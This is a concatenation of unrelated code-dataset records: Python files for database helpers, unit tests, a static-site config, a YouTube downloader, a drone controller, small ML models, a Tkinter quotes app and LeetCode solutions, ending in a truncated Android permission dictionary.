cur.execute(sql)\n self.conn.commit()\n print(\"SUCCESS: Schema {} now has the {} relation with entries.\".format(schema, table))\n else:\n print(\"ERROR: Schema {} does not have the {} relation.\".format(schema, table))\n else:\n print(\"ERROR: Schema {} doesn't exist.\".format(schema))\n\n def is_filled(self, schema, table):\n if self.__check__(schema):\n if self.__check__(schema, table):\n with self.conn.cursor() as cur:\n sql = \"SELECT EXISTS(SELECT 1 FROM {}.{});\".format(schema, table)\n cur.execute(sql)\n return True if cur.fetchone()[0] else False\n else:\n return False\n else:\n return False\n\n\n\n\"\"\"\n\n def get_donations(self):\n with self.conn.cursor() as cur:\n for date in self.donate_date_var:\n sql = \"SELECT donate_amount FROM donations WHERE donate_date Between %s And %s;\"\n data = (date[0], date[1])\n add_donations = 0.0\n cur.execute(sql, data)\n self.donate_data = cur.fetchall()\n for data in self.donate_data:\n print(data[0])\n add_donations += float(data[0])\n self.total_donations.append(add_donations)\n print(self.total_donations)\n\"\"\"\n\n\n","sub_path":"core_app/Periodic/database/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":14268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"168058489","text":"from pupa.models import Organization\nfrom validictory import ValidationError\nfrom nose.tools import assert_raises\n\n\ndef test_basic_invalid_organization():\n \"\"\" Make sure we can make an invalid orga \"\"\"\n orga = Organization(\"name\")\n orga.add_source(url='foo')\n orga.validate()\n\n orga.name = None\n\n with assert_raises(ValidationError):\n orga.validate()\n\n\ndef test_add_post():\n \"\"\" Test that we can hack posts in on the fly'\"\"\"\n orga = Organization(\"name\")\n orga.add_source(url='foo')\n orga.validate()\n\n orga.add_post(\"Human Readable Name\", \"Chef\")\n\n assert orga.posts[0]['role'] == \"Chef\"\n assert orga.posts[0]['label'] == \"Human Readable Name\"\n\n with assert_raises(TypeError):\n orga.add_identifier(\"id10t\", foo=\"bar\")\n\n orga.add_identifier(\"id10t\")\n orga.add_identifier(\"l0l\", scheme=\"kruft\")\n\n assert orga.identifiers[-1]['scheme'] == \"kruft\"\n assert orga.identifiers[0]['identifier'] == \"id10t\"\n assert not hasattr(orga.identifiers[0], \"scheme\")\n\n\ndef test_add_contact():\n \"\"\" test we can add a contact detail to an org \"\"\"\n orga = Organization(\"name\")\n orga.add_source(url='foo')\n orga.validate()\n\n orga.add_contact_detail(type='voice', value='555-393-2821', note='nothing')\n\n orga.validate()\n","sub_path":"pupa/tests/models/test_organization.py","file_name":"test_organization.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"361417694","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*- #\nfrom __future__ import unicode_literals\n\nAUTHOR = u'The League of Daigomi Learning'\nSITENAME = u'\\u30af\\u30ea\\u30a8\\u30a4\\u30c6\\u30a3\\u30d6\\u306a\\u5b66\\u3073\\u3092\\u307f\\u3093\\u306a\\u3067\\u5b66\\u3076'\nSITEURL = '/lclj'\n\nTIMEZONE = 'Asia/Tokyo'\n\nDEFAULT_LANG = u'ja'\n\n#THEME = 'theme/pelican-konoha'\nTHEME = 'lclj2013/theme/pelican-bootstrap3'\nEXTRA_TEMPLATES_PATHS = [\"lclj2013/templates\"]\nCUSTOM_CSS = \"assets/css/style.css\"\n\n#DIRECT_TEMPLATES = ('index', 'tags', 'categories', 'archives')\nDIRECT_TEMPLATES = ('categories', 'archives')\nSTATIC_PATHS = ['assets', 'resources', 'assignments', 'unit2_files']\n\n# Feed generation is usually not desired when developing\nFEED_ALL_ATOM = None\nCATEGORY_FEED_ATOM = None\nTRANSLATION_FEED_ATOM = None\nCC_LICENSE = True\n\nDISPLAY_CATEGORIES_ON_MENU = False\nMENUITEMS = (\n ('コース概要', '/lclj/about.html'),\n ('シラバス', '/lclj/syllabus.html'),\n ('講師', '/lclj/instructors.html'),\n ('FAQ', '/lclj/faq.html'),)\n\n# Blogroll\nLINKS = (('Pelican', 'http://getpelican.com/'),\n ('Python.org', 'http://python.org/'),\n ('Jinja2', 'http://jinja.pocoo.org/'),\n ('You can modify those links in your config file', '#'),)\n\n# Social widget\nSOCIAL = (('You can add links in your config file', '#'),\n ('Another social link', '#'),)\n\nDEFAULT_PAGINATION = False\n\n# Uncomment following line if you want document-relative URLs when developing\n#RELATIVE_URLS = True\n\nDEFAULT_DATE = 'fs'\n","sub_path":"lclj2013conf.py","file_name":"lclj2013conf.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"572236435","text":"from pytube import YouTube\nimport sys\nf1=open('C:/Users/Harshit/Desktop/vasudev/songs/all_song_urls.txt','r')\nfor url in f1:\n\ttry:\n\t\tyt = YouTube(str(url))\n\t\tvideos = yt.get_videos()\n\t\tvid = videos[0]\n\t\tdestination = str('C:/Users/Harshit/Desktop/vasudev/songs/Videos/')\n\t\tvid.download(destination)\n\t\tprint(yt.filename+\"\\nHas been successfully downloaded\")\n\texcept:\n\t\ttry:\n\t\t\tprint(sys.exc_info[0])\n\t\t\tprint(url)\n\t\texcept:\n\t\t\tprint(\"err\")","sub_path":"songs/download_song.py","file_name":"download_song.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"408594866","text":"'''\n Copyright 2015 University of Auckland\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n'''\n\nimport sys\nimport logging\n\nfrom PySide import QtCore\n\nfrom opencmiss.zinc.logger import Logger\n\nENABLE_STD_STREAM_CAPTURE = True\n\n\nclass CustomStreamImpl(QtCore.QObject):\n # Signal is a class variable; PySide creates per-instance SignalInstance object of same name\n messageWritten = QtCore.Signal(str, str)\n\n # Note: if implementing __init__ you must call super __init__ for Signals to work.\n # def __init__(self):\n # super(CustomStreamImpl, self).__init__()\n\n def flush(self):\n pass\n\n def fileno(self):\n return -1\n\n def write(self, msg, level=\"INFORMATION\"):\n if (not self.signalsBlocked()):\n self.messageWritten.emit(msg, level)\n\n\nclass CustomStream(object):\n _stdout = None\n _stderr = None\n\n @staticmethod\n def stdout():\n if CustomStream._stdout is None:\n CustomStream._stdout = CustomStreamImpl()\n if ENABLE_STD_STREAM_CAPTURE:\n sys.stdout = CustomStream._stdout\n return CustomStream._stdout\n\n @staticmethod\n def stderr():\n if CustomStream._stderr is None:\n CustomStream._stderr = CustomStreamImpl()\n if ENABLE_STD_STREAM_CAPTURE:\n sys.stderr = CustomStream._stderr\n return CustomStream._stderr\n\n\nclass LogsToWidgetHandler(logging.Handler):\n\n def __init__(self):\n logging.Handler.__init__(self)\n\n def emit(self, record):\n levelString = record.levelname\n record = self.format(record)\n if record:\n CustomStream.stdout().write('%s\\n' % record, levelString)\n\n\ndef setup_custom_logger(name):\n\n formatter = logging.Formatter(fmt='%(asctime)s - %(levelname)s - %(module)s - %(message)s')\n\n handler = LogsToWidgetHandler()\n handler.setFormatter(formatter)\n\n neonLogger = logging.getLogger(name)\n neonLogger.setLevel(logging.DEBUG)\n neonLogger.addHandler(handler)\n return neonLogger\n\n\nclass NeonLogger(object):\n _logger = None\n _zincLogger = None\n _loggerNotifier = None\n\n @staticmethod\n def getLogger():\n if (not NeonLogger._logger):\n NeonLogger._logger = setup_custom_logger(\"Neon\")\n return NeonLogger._logger\n\n @staticmethod\n def writeErrorMessage(string):\n NeonLogger.getLogger().error(string)\n\n @staticmethod\n def writeWarningMessage(string):\n NeonLogger.getLogger().warning(string)\n\n @staticmethod\n def writeInformationMessage(string):\n NeonLogger.getLogger().info(string)\n\n @staticmethod\n def loggerCallback(event):\n if event.getChangeFlags() == Logger.CHANGE_FLAG_NEW_MESSAGE:\n text = event.getMessageText()\n if event.getMessageType() == Logger.MESSAGE_TYPE_ERROR:\n NeonLogger.writeErrorMessage(text)\n elif event.getMessageType() == Logger.MESSAGE_TYPE_WARNING:\n NeonLogger.writeWarningMessage(text)\n elif event.getMessageType() == Logger.MESSAGE_TYPE_INFORMATION:\n NeonLogger.writeInformationMessage(text)\n\n @staticmethod\n def setZincContext(zincContext):\n if NeonLogger._loggerNotifier:\n NeonLogger._loggerNotifier.clearCallback()\n NeonLogger._zincLogger = zincContext.getLogger()\n NeonLogger._loggerNotifier = NeonLogger._zincLogger.createLoggernotifier()\n NeonLogger._loggerNotifier.setCallback(NeonLogger.loggerCallback)\n","sub_path":"src/opencmiss/neon/core/neonlogger.py","file_name":"neonlogger.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"357482770","text":"import numpy as np\n\n\ndef runWaypoint(true_state, streamingClient, r_wd, dt, tello2):\n\tcurrent_orient_euler = true_state[3]\n\n\t# Vector projection along x-y plane (height component (z) is zero)\n\tr_wd_proj = np.array([r_wd[0], r_wd[1], 0])\n\n\t# Find the yaw angle (between the vector and the x-axis) through the dot\n\t# product formula. This gives the yaw angle required to face the waypoint.\n\tyaw_w = np.arctan2(r_wd_proj[1], r_wd_proj[0])\t\t# in radians\n\n\t# Offset angle between drone heading and waypoint heading angle (yaw)\n\tyaw_w = yaw_w * 180/np.pi # in degrees\n\tbeta = yaw_w - (current_orient_euler[2] * 180/np.pi)\n\n\tif beta > 180:\n\t\tbeta = beta - 360\n\telif beta < -180:\n\t\tbeta = beta + 360\n\n\t# Use the angle to find components of the vector projection in the forward/\n\t# back direction and the left/right direction.\n\tsignal = np.array([np.linalg.norm(r_wd_proj) * np.sin(beta * np.pi/180),\t# Lateral\n\t\tnp.linalg.norm(r_wd_proj) * np.cos(beta * np.pi/180),\t# Longitudinal\n\t\tr_wd[2],\t\t\t# Vertical\n\t\tbeta])\t\t\t\t# yaw\n\n\treference = np.array([0, 0, 0, 0])\n\terror = signal - reference\n\n\ttry:\n\t\tcontrollerWaypoint(error, runWaypoint.prev_error, dt, tello2)\n\t\t# PID(error, runWaypoint.prev_error, dt, tello2)\n\n\texcept AttributeError:\n\t\tcontrollerWaypoint(error, error, dt, tello2)\t\t# first run\n\t\t# PID(error, error, dt, tello2)\t\t# first run\n\trunWaypoint.prev_error = error\n\treturn error\n\n\ndef controllerWaypoint(error, prev_error, dt, tello2):\n\n\t# Numerical differentiation - first order difference scheme\n\terror_dot = (error - prev_error) / dt\n\n\t# PD constants and controller (Standard form)\n\tKp = np.array([0.7, 0.8, 0.8, 1.0])\t# lr, fb, ud, yaw\n\tTd = np.array([0, 0, 0, 0])\n\tpid_input = Kp * (error + Td * error_dot)\n\n\t# print(pid_input)\n\t# Longitudinal to laterial ratio\n\tratio = pid_input[1] / pid_input[0]\n\tif ratio == 0:\n\t\tpass\n\n\t# Maintain ratio between the limited controller inputs\n\tpid_input = controllerLimits(pid_input, -100.0, 100.0)\n\tif abs(ratio) > 1:\n\t\tpid_input[0] = (1 / ratio) * pid_input[1]\n\t\t# component[1] = limited_component[1]\n\telse:\n\t\tpid_input[1] = ratio * pid_input[0]\n\t\t# component[0] = limited_component[0]\n\t# tello.rc(yaw=int(pid_input[3]))\n\ttello2.rc(lr=int(pid_input[0]), fb=int(pid_input[1]), ud=-int(pid_input[2]), yaw=int(pid_input[3]))\n\t# tello2.rc(lr=int(pid_input[0]), fb=int(pid_input[1]), ud=-int(pid_input[2]), yaw=int(0))\n\n\ndef controllerLimits(cont_input, min_limit, max_limit):\n\n\tlimited_input = np.where(cont_input > max_limit, max_limit, cont_input)\n\tlimited_input = np.where(limited_input < min_limit, min_limit, limited_input)\n\treturn limited_input\n\n","sub_path":"multi_1/controller2.py","file_name":"controller2.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"138378382","text":"'''create Zeller's Congruence\ncreated spring 2018\nlab 04\nauthor: Alex McDowell (amm74) and Maiah Matthews (mjm77)\n'''\n\n#imports math module\nimport math\n\n#prompts user to enter values for year, month, and day\nq = int(input('Enter the day of the month: '))\nh = int(input('Enter the day of the week(0 = Sat, 1 = Sun) : '))\nm = int(input('Enter the month(3: Mar, 4: Apr): '))\nj = int(input('Enter the year: '))\nj2 = j // 100\nk = j % 100\n\n#prints variables\nprint(j2)\nprint(k)\n\n#makes loop\nif m == 1:\n m = 13\n j = j - 1 \nelif m == 2:\n m = 14\n j = j - 1\n\n#computes Zeller's formula\nh = (q + (((m + 1) *26) // 10) + k + (k//4) + (j//4) + (5*j)) % 7\n\n#prints result\nprint(h)\n\n#creates list of the days of the week\nlist = ['Sat', 'Sun', 'Mon', 'Tues', 'Wed', 'Thurs', 'Fri']\n\n\nprint(list[h])\n","sub_path":"lab04/zeller.py","file_name":"zeller.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"258186723","text":"from numpy import loadtxt\r\nfrom xgboost import XGBClassifier\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn import preprocessing\r\nimport warnings\r\nimport boto3\r\n\r\ns3 = boto3.resource('s3')\r\nwarnings.filterwarnings(action='ignore', category=DeprecationWarning)\r\n\r\n# get csv file from s3 bucket\r\ns3.Object('aiml-rumi', 'ServerlessAIWorkshop/diabetes.data.csv').download_file('diabetes.data.csv')\r\n# bucket = s3.Bucket('aiml-rumi')\r\n# obj = bucket.Object('diabetes.data.csv')\r\n\r\n#with open('diabetes.data.csv', 'wb') as data:\r\n# obj.download_fileobj(data)\r\n\r\n# load data\r\ndataset = loadtxt('diabetes.data.csv', delimiter=\",\")\r\n\r\n# split data into X and y\r\nX = dataset[:,0:8]\r\nY = dataset[:,8]\r\n\r\n# split data into train and test sets\r\nseed = 7\r\ntest_size = 0.33\r\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=test_size, random_state=seed)\r\n\r\n# fit model no training data\r\nmodel = XGBClassifier()\r\nmodel.fit(X_train, y_train)\r\n\r\nprint(model)\r\n\r\n# make predictions for test data\r\ny_pred = model.predict(X_test)\r\npredictions = [round(value) for value in y_pred]\r\n\r\n# evaluate predictions\r\naccuracy = accuracy_score(y_test, predictions)\r\nprint(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\r\n\r\nfrom sklearn.externals import joblib\r\njoblib.dump(model, 'pima-indians-diabetes.pkl') \r\n\r\nmodel = joblib.load('pima-indians-diabetes.pkl') \r\n\r\ny_pred = model.predict(X_test)\r\npredictions = [round(value) for value in y_pred]\r\n\r\n# evaluate predictions\r\naccuracy = accuracy_score(y_test, predictions)\r\nprint(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\r\n\r\n\r\n\r\n","sub_path":"modelCreate.py","file_name":"modelCreate.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"465394862","text":"#!/usr/bin/env python3\n\nimport time, sys\n\n# Make sure other script runs first if dependency\n# is missing.\ntime.sleep(0.5)\n\ncontents = open(sys.argv[1], 'r').read()\nopen(sys.argv[2], 'w').write(contents)\n","sub_path":"test cases/common/78 ctarget dependency/gen1.py","file_name":"gen1.py","file_ext":"py","file_size_in_byte":203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"12659190","text":"########################################\n# Integrantes: Sebastián López Herrera y Daniel Sequeira Retana\n# Fecha creación: 26/04/2019 12:00\n# Ultima actualización: 14/05/2019 23:00\n# Version 0.1 - Python 3.7.3\n########################################\n# Importación de Librerias\nfrom tkinter import *\nfrom tkinter import Tk\nfrom tkinter import ttk\nfrom tkinter import messagebox\nimport webbrowser as wb\nfrom funciones import *\n\n\nimport os\n\ndef imprimirTview(pmatriz):\n contl = 0\n contp = 0\n tviewfra.delete(*tviewfra.get_children())\n for l in pmatriz:\n tviewfra.insert('', str(contl), 'C'+str(contl), text=l[3])\n for p in l[1]:\n tviewfra.insert('C'+str(contl), str(contp), 'F'+str(contp), text=p)\n contp += 1\n contl += 1\n return ''\n\n\ndef llamarFBus():\n global pfrases\n if verificarRed():\n num = pcan.get()\n tup = auxllamarFBus(num)\n if tup[0]:\n if tup[1] >= 0:\n matriz = crearMatriz(tup[1])\n dicc = crearDict(matriz)\n texto = sacarMayor(dicc, matriz)\n pdict.set(texto)\n imprimirTview(matriz)\n else:\n messagebox.showwarning('Numero Negativo', 'Porfavor solo digite numeros positivos (Mayor o Igual a 0)')\n else:\n messagebox.showerror('Numero Invalido', 'El valor digitado no es numerico, porfavor digite solo numeros')\n else:\n messagebox.showwarning('Sin Conexion', 'No hay conexion a Internet, revise e intente de nuevo')\n return ''\n\n\ndef abrirPDF():\n wb.open_new(r'Manual de Usuario.pdf')\n\n\ndef cerrar():\n num = pcan.get()\n tup = auxllamarFBus(num)\n if tup[0]:\n if messagebox.askyesno(\"Hacer Back Up\", \"¿Desea hacer un Back Up de las frases antes de salir?\"):\n Enviar()\n messagebox.showinfo(\"May the force be with you\", \"Se ha enviado un Back up a tu correo\")\n raiz.destroy()\n else:\n raiz.destroy()\n else:\n messagebox.showerror('No se hará Back Up', 'No hay frases para hacer un back up')\n raiz.destroy()\n\n\ndef cargarBackUp():\n if messagebox.askyesno(\"Cargar Back Up\", \"¿Desea cargar el ultimo Back Up de las frases?\"):\n os.remove(\"books.xml\")\n f = open (\"books.xml\",\"a\")\n f.write(backUp())\n f.close()\n else:\n os.remove(\"books.xml\")\n f = open(\"books.xml\", \"a\")\n f.write(\"\\n\\n\")\n f.close()\n\ndef validarShare():\n num = pcan.get()\n tup = auxllamarFBus(num)\n if tup[0]:\n Enviar()\n else:\n messagebox.showerror('No se hará Back Up', 'No hay frases para hacer un back up')\n\n\n# Programa Principal\n# # # raiz\nraiz = Tk()\ncargarBackUp()\nraiz.protocol(\"WM_DELETE_WINDOW\", cerrar)\n#raiz.wm_attributes('-fullscreen','true')\nstyle = ttk.Style()\nstyle.theme_use('clam')\nraiz.title(\"Frases de Star Wars\")\nraiz.config(bg=\"black\")\nraiz.resizable(0, 0)\nraiz.iconbitmap('logo.ico')\nraiz.geometry(\"800x450\")\npcan = StringVar()\nprfrases = StringVar()\npdict = StringVar()\n# fondo\nimagen = PhotoImage(file='fondo.png')\nfondo = Label(raiz, image=imagen).place(x=-11, y=-8)\n#\n# # # texto buscar\ntexbus = Entry(fondo, bg='yellow', textvariable=pcan)\ntexbus.place(x=500, y=100)\ntexbus.config(width='5', font=('Fixedsys', 23), bd=10, relief='ridge')\n# # # boton buscar\nbotbus = Button(fondo, text='Buscar', bg='yellow', fg='Black', font=\"Fixedsys\", command=llamarFBus)\nbotbus.place(x=610, y=98)\nbotbus.config(width=\"15\", height=\"2\", bd=10, relief='ridge', cursor='hand2')\n# # # boton enviar xml\nbotenv = Button(fondo, text='Share', bg='yellow', fg='Black', font='Fixedsys', command=validarShare)\nbotenv.place(x=497, y=188)\nbotenv.config(width='29', height='2', bd=10, relief='ridge', cursor=\"hand2\")\n###\ntexdic = Entry(fondo, bg='black', fg=\"Yellow\", bd=1, relief='flat', textvariable=pdict)\ntexdic.place(x=497, y=276)\ntexdic.config(width='31', font=('Fixedsys', 10))\n# # # frame frases\nffra = Frame(fondo, width=415, height=335, bg='black')\nffra.place(x=50, y=40)\n# # # frame list box\nflbfra = Frame(ffra, width=400, height=335, bg='black')\nflbfra.grid(row=0, column=0)\n# # #\nstyle = ttk.Style()\nstyle.configure(\"mystyle.Treeview\", highlightthickness=0, bd=0, font=('Fixedsys', 12), fg='Yellow')\nstyle.configure(\"mystyle.Treeview.Heading\", font=('Fixedsys', 12,'bold'), fg='Yellow')\nstyle.layout(\"mystyle.Treeview\", [('mystyle.Treeview.treearea', {'sticky': 'nswe'})])\n# # # texto frases\ntviewfra = ttk.Treeview(flbfra, style=\"mystyle.Treeview\", selectmode='extended', columns='A')\ntviewfra.grid(row=0, column=0)\ntviewfra.pack(expand=True, fill='both')\ntviewfra.column(\"#0\", minwidth=0, width=400, stretch=False)\ntviewfra.column('A', minwidth=0, width=0, stretch=False)\ntviewfra.config(height=16)\n# configure the style\nstyle.configure(\"Vertical.TScrollbar\", gripcount=0,\n background=\"yellow\", darkcolor=\"gold3\", lightcolor=\"yellow2\",\n troughcolor=\"black\", bordercolor=\"black\", arrowcolor=\"black\")\n#\nsbarfra = ttk.Scrollbar(ffra, command=tviewfra.yview, orient=\"vertical\")\nsbarfra.grid(row=0, column=1, sticky='nsew')\ntviewfra.config(yscrollcommand=sbarfra.set)\n#\n# # # boton manual de usuario\nmdu = Button(fondo, text=\"-> Manual de Usuario <-\", bg='black', fg='White', font='Fixedsys', command=abrirPDF)\nmdu.pack(side=\"bottom\", fill='x')\nmdu.config(cursor='hand2', bd=1, relief='flat')\n###\nraiz.mainloop()\n###\n# - FIN - #\n\n","sub_path":"frases.py","file_name":"frases.py","file_ext":"py","file_size_in_byte":5486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"654181573","text":"# -*- coding: utf-8 -*-\n\n# ---- Imports -----------------------------------------------------------\nfrom traits.api import HasTraits, Any, Str\n\n\nclass EventBus(HasTraits):\n command = Str('')\n args = Any()\n\n def fire_event(self, command, args=None):\n self.command = command\n self.args = args\n\n# EOF\n","sub_path":"main/event_bus.py","file_name":"event_bus.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"319116463","text":"#coding:utf-8\nfrom __future__ import print_function\nimport tensorflow as tf\nfrom input import DataInput\nimport numpy as np\nfrom model import ModelMixin\nimport pickle\n\nclass LR(ModelMixin):\n def __init__(self,user_count,item_count,cate_count,cate_list):\n\n self.user=tf.placeholder(tf.int32,[None,])\n self.item=tf.placeholder(tf.int32,[None,])# 目标点击的item\n\n self.y=tf.placeholder(tf.float32,[None,])# 目标\n\n self.click_hist=tf.placeholder(tf.int32,[None,None])\n\n self.click_len=tf.placeholder(tf.int32,[None,])\n\n hidden_units=1\n user_embedding=tf.get_variable(\"user_embedding\",[user_count,hidden_units],initializer=tf.random_normal_initializer())\n item_embedding=tf.get_variable(\"item_embedding\",[item_count,hidden_units],initializer=tf.random_normal_initializer())\n cate_embedding=tf.get_variable(\"cate_embedding\",[cate_count,hidden_units],initializer=tf.random_normal_initializer())\n\n \"\"\"\n 用户 的 embedding 向量。\n \"\"\"\n user_emb=tf.nn.embedding_lookup(user_embedding,self.user)\n\n \"\"\"\n target embedding\n \"\"\"\n\n cate_list=tf.convert_to_tensor(cate_list,dtype=tf.int32)\n\n item2cate=tf.gather(cate_list,self.item)\n\n item_emb=tf.nn.embedding_lookup(item_embedding,self.item)\n cate_emb=tf.nn.embedding_lookup(cate_embedding,item2cate)\n\n \"\"\"\n 点击的list 做embedding 并求和压缩统一维度\n \"\"\"\n click_hist_cate=tf.gather(cate_list,self.click_hist)\n click_list_cate_emb=tf.nn.embedding_lookup(cate_embedding,click_hist_cate)\n click_list_item_emb=tf.nn.embedding_lookup(item_embedding,self.click_hist)\n\n\n click_list_cate_=tf.reduce_sum(click_list_cate_emb,1)\n click_list_item_=tf.reduce_sum(click_list_item_emb,1)\n\n\n\n mlp_input=tf.concat([user_emb,item_emb,cate_emb,click_list_item_,click_list_cate_],axis=1)\n\n\n self.lr_out=tf.reduce_sum(mlp_input,axis=1)\n\n self.cross_w1=tf.get_variable(\"cross_w1\",shape=[1,hidden_units],initializer=tf.random_normal_initializer())\n self.cross_w2=tf.get_variable(\"cross_w2\",shape=[1,hidden_units],initializer=tf.random_normal_initializer())\n\n self.cross_out=tf.reduce_sum(user_emb*item_emb*self.cross_w1+user_emb*cate_emb*self.cross_w2,axis=1)\n\n self.logits=self.lr_out+self.cross_out\n\n self.loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits=self.logits, labels=self.y))\n\n self.optimizer=tf.train.AdamOptimizer(0.001).minimize(self.loss)\n\n #self.auc=tf.metrics.auc(labels=self.y, predictions=tf.nn.sigmoid(self.logits))\n self.auc, self.auc_update_op = tf.metrics.auc(labels=self.y, predictions=tf.nn.sigmoid(self.logits))\n\n\n def fit(self,sess,train_data):\n\n for i in range(5):\n\n for j,data in DataInput(train_data,batch_size=128):\n\n loss_output,_,_=sess.run([self.loss,self.optimizer,self.auc_update_op],feed_dict={\n self.user:data[0],\n self.item:data[1],\n self.y:data[2],\n self.click_hist:data[3],\n self.click_len:data[4]\n })\n\n if j%1000==0:\n\n log={'itr':i,'step':j,'loss':loss_output,'auc':self.auc.eval(session=sess)}\n print(\"itr : {itr} , step: {step}, loss : {loss},auc : {auc}\".format(**log))\n def eval(self,sess,data_set,name='eval'):\n loss_sum = 0\n logits_arr = np.array([])\n y_arr = np.array([])\n\n for j,data in DataInput(data_set,batch_size=12800):\n\n loss_output,logits=sess.run([self.loss,self.logits],feed_dict={\n self.user:data[0],\n self.item:data[1],\n self.y:data[2],\n self.click_hist:data[3],\n self.click_len:data[4]\n })\n loss_sum += loss_output\n\n logits_arr = np.append(logits_arr, logits)\n y_arr = np.append(y_arr, data[2])\n\n from sklearn.metrics import roc_auc_score\n auc = roc_auc_score(y_arr, logits_arr)\n\n log_data = {'name': name,\n 'loss' : loss_sum,\n 'auc' : auc,\n }\n print('Eval {name} : loss = {loss} auc = {auc}'.format(**log_data))\n\nif __name__=='__main__':\n with open('../dataset.pkl', 'rb') as f:\n train_set=pickle.load(f)\n test_set=pickle.load(f)\n cate_list=pickle.load(f)\n user_count, item_count, cate_count=pickle.load(f)\n\n model=LR(user_count=user_count, item_count=item_count, cate_count=cate_count, cate_list=cate_list)\n with tf.Session() as sess:\n\n sess.run(tf.global_variables_initializer())\n sess.run(tf.local_variables_initializer())\n\n model.fit(sess,train_set)\n model.eval(sess,train_set,'train')\n model.eval(sess,test_set,'test')\n","sub_path":"deep-ctr/chenrenbing/lrcross.py","file_name":"lrcross.py","file_ext":"py","file_size_in_byte":4933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"206891385","text":"#!/usr/bin/env python3\nimport os\nimport sys\nimport subprocess\n\nfilename=sys.argv[1]\n\nwith open(filename, \"r\") as f:\n lines = f.readlines()\n for line in lines:\n newline = line.strip().replace(\"jane\", \"jdoe\")\n subprocess.run([\"mv\", line.strip(),newline])\nf.close()\n","sub_path":"scripts/VM(Bash)/change-name.py","file_name":"change-name.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"129541442","text":"#\n# 101. Symmetric Tree\n# Solved By Freezind @2016-08-14\n# https://leetcode.com/problems/symmetric-tree/\n#\n####################################################\n\n# Given a binary tree, check whether it is a mirror of itself (ie, symmetric around its center).\n\n# For example, this binary tree [1,2,2,3,4,4,3] is symmetric:\n\n# 1\n# / \\\n# 2 2\n# / \\ / \\\n# 3 4 4 3\n# But the following [1,2,2,null,3,null,3] is not:\n# 1\n# / \\\n# 2 2\n# \\ \\\n# 3 3\n# Note:\n# Bonus points if you could solve it both recursively and iteratively.\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n# recursive\nclass Solution(object):\n def isSymmetric(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n def dfs(p, q):\n if p and q:\n return p.val == q.val and dfs(p.left, q.right) and dfs(p.right, q.left)\n else:\n return p == q\n return dfs(root, root)\n\n# iterative(BFS)\nclass Solution(object):\n def isSymmetric(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n if root:\n now = [root]\n while now:\n vals = [i.val if i else None for i in now]\n if list(reversed(vals)) != vals:\n return False\n else:\n now = [j for i in now if i for j in (i.left, i.right)]\n return True\n\n\n# iterative(DFS)\nclass Solution(object):\n def isSymmetric(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: bool\n \"\"\"\n if root:\n stack = [(root.left, root.right)]\n while len(stack) > 0:\n p,q = stack.pop()\n if p and q and p.val == q.val:\n stack.append((p.left, q.right))\n stack.append((p.right, q.left))\n elif p != q:\n return False\n return True\n","sub_path":"Algorithms/101. Symmetric Tree.py","file_name":"101. Symmetric Tree.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"123172005","text":"auth_dict = {\n \"读取同步统计信息\": 0,\n \"检索系统内部状态\": 1,\n \"修改全局动画速度\": 2,\n \"控制近距离通信\": 3,\n \"修改/删除内部媒体存储设备的内容\": 4,\n \"删除其他应用程序的缓存\": 5,\n \"读取日历活动和机密信息\": 6,\n \"获取额外的位置信息提供程序命令\": 7,\n \"格式化外部存储设备\": 8,\n \"设置时区\": 9,\n \"状态栏\": 10,\n \"发送 WAP-PUSH 收到的广播\": 11,\n \"在出厂测试模式下运行\": 12,\n \"蓝牙管理\": 13,\n \"管理 USB 设备的偏好设置和权限\": 14,\n \"使用模拟地点来源进行测试\": 15,\n \"更改/拦截网络设置和流量\": 16,\n \"写入联系数据\": 17,\n \"移动应用程序资源\": 18,\n \"停用或修改状态栏\": 19,\n 